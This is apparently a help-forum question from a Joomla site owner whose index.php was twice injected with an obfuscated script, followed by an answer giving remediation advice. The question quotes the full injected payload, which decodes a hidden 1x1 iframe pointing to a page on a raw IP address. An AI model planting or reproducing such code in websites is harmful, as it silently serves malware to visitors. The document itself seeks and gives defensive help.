Home/ Questions/Q 859085
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Asked: 2026-05-15T08:37:52+00:00

I have seen that , this happend twice that , in my root index.php

  • 0

I have seen that , this happend twice that , in my root index.php file.
I have this thing added

<html><body><script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31') + " Oaoz5='1'vxoq5='1'>";str = str.replace('vde', 'i');str =str.replace('pog', 'fr');str = str.replace('nbt', 'ame');str =str.replace('Oaoz5', 'width');str =str.replace('vxoq5','height');document.write(str);</script></body></html>

Does anyone knows what is that and how it comes.

When i tried to open my webiste in google chrome , it told me that some malacious software is trying to run from harmful website , do you want to allow it.

How ever when deleted that script then everything was ok

But this ahppedn twice in 2 weeks

Is that the virus . how can something chANGE MY CODE

i AM USING JOOMLA

Share

Leave an answer

You must login to add an answer.

Need An Account,

1 Answer

  1. Editorial Team

    You have been hacked. You should change your FTP and MYSQL passwords, upgrade to the latest version of Joomla (currently 1.5.18) and check all of your components and plugins for vulnerabilities in this list http://docs.joomla.org/Vulnerable_Extensions_List

    • 0